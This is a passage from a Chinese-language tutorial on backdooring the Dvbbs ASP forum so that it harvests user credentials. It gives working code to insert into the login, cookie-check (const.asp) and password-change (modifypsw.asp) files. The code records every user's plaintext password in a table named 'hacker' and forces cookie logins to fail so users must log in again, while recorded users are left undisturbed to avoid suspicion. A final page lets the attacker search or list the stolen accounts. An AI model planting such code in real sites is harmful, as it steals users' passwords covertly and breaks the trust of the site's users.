下面我们就可以在ASP程序中使用SQL命令,把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句:
‘先查询数据库,检查该用户的密码是否已经被记录,以避免重复添加
set rs=conn.execute("select user from hacker where user="&request("username")&"")
if rs.eof and rs.bof then
‘如果没有,就把用户名和密码插入到我们刚才创建的表中
sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"
conn.execute(sql)
rs.close
else
end if
通过上面的代码,用户每次登陆的时候,用户名和密码就都会被自动添加到我们创建的表hacker中去了。
但是,动网论坛还有个功能,就是可以利用COOKIE保存登陆信息一天,一个月,或者一年,这样就不用每次访问都要输入账号了,当然我们也不想让这一部分用户的密码漏掉,所以我们要想办法让它的COOKIE失效,这样他就必须通过我们修改过的文件登陆了。
动网论坛对COOKIE检查的代码是保存在 \INC\const.asp 文件中的,我们打开查看它的源文件。
membername=checkStr(request.cookies("aspsky")("username"))
memberclass=checkStr(request.cookies("aspsky")("userclass"))
memberword=checkStr(request.cookies("aspsky")("password"))
[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的,我们只要改变任意一个变量,就可让它的登陆失效。我就在第二句后面添加了下面这几句代码:
‘检查用户的账号是否已经被记录,如果没有,修改它的密码变量为用户名
set rs=conn.execute("select user from hacker where user="&membername&"")
if rs.eof and rs.bof then
memberword=checkStr(request.cookies("aspsky")("username"))
rs.close
else
‘如果已经被记录了,COOKIE验证一切正常,这样也就不会因为COOKIE彻底失效而引起用户的怀疑
memberword=checkStr(request.cookies("aspsky")("password"))
end if
记录用户账号的代码我们基本上就完成了,只要用户一登陆,他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点,就是如果用户修改了密码,我们记录的密码就过期了,我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp
rs("userpassword")=password
rs("quesion")=quesion
rs("answer")=answer
rs.Update
上面这段代码就是更新密码的代码了。我们分析一下:只有用户登陆后才可以修改密码,既然登陆了,我们的数据库中就一定记录得他的密码,所以不管他密码改成什么,我们只需要更新一下我们的数据库就行了,所以在上面这四句代码前面,加上下面这两句:
[$nbsp][$nbsp]‘注意,这里我们之所以不用变量password,因为它是经过MD5加密的结果
sql = "update hacker set pass="&request("psw")&" where user="&membername&""
conn.execute(sql)
最后我们不可能每次打开数据库去查询用户的密码,所以我们还要自己写一个asp程序,用来通过WEB界面查询用户的密码。
下面是我自己写的asp代码,借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。
<!--#include file="conn.asp"-->
<!--#include file="inc/const.asp" -->
<%
‘动网用来模糊查询的函数translate()
public function translate(sourceStr,fieldStr)
[$nbsp][$nbsp]dim sourceList
[$nbsp][$nbsp]dim resultStr
[$nbsp][$nbsp]dim i,j
[$nbsp][$nbsp]if instr(sourceStr," ")>0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i
[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))
[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","与"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "OR","|","或"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " or "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "NOT","!","非","!","!"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " not "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "(","(","("
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ( "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case ")",")",")"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ) "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case Else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if sourceList(i)<>"" then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if not isOperator then resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourceList(i),"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like " & replace(sourceList(i),"","") & " "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like %" & replace(sourceList(i),"","") & "% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]end if
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp][$nbsp][$nbsp]End Select
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.write resultStr+"<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr
[$nbsp][$nbsp]else 单条件
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourcestr,"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like " & replace(sourceStr,"","") &" "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like %" & replace(sourceStr,"","") &"% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp]end if
end function
%>
<%
‘检查是否使用模糊查询,如果是,查询数据库
if request.form("id") <> "" then
dim key
key = request.form("id")
set rs=conn.execute("select user,pass from hacker where (" & translate(key,"user") & ")")
‘检查是否查询所有账号,如果是,查询所有记录
else if request.querystring("id") <> "all" then
else
set rs=conn.execute("select * from hacker")
end if
end if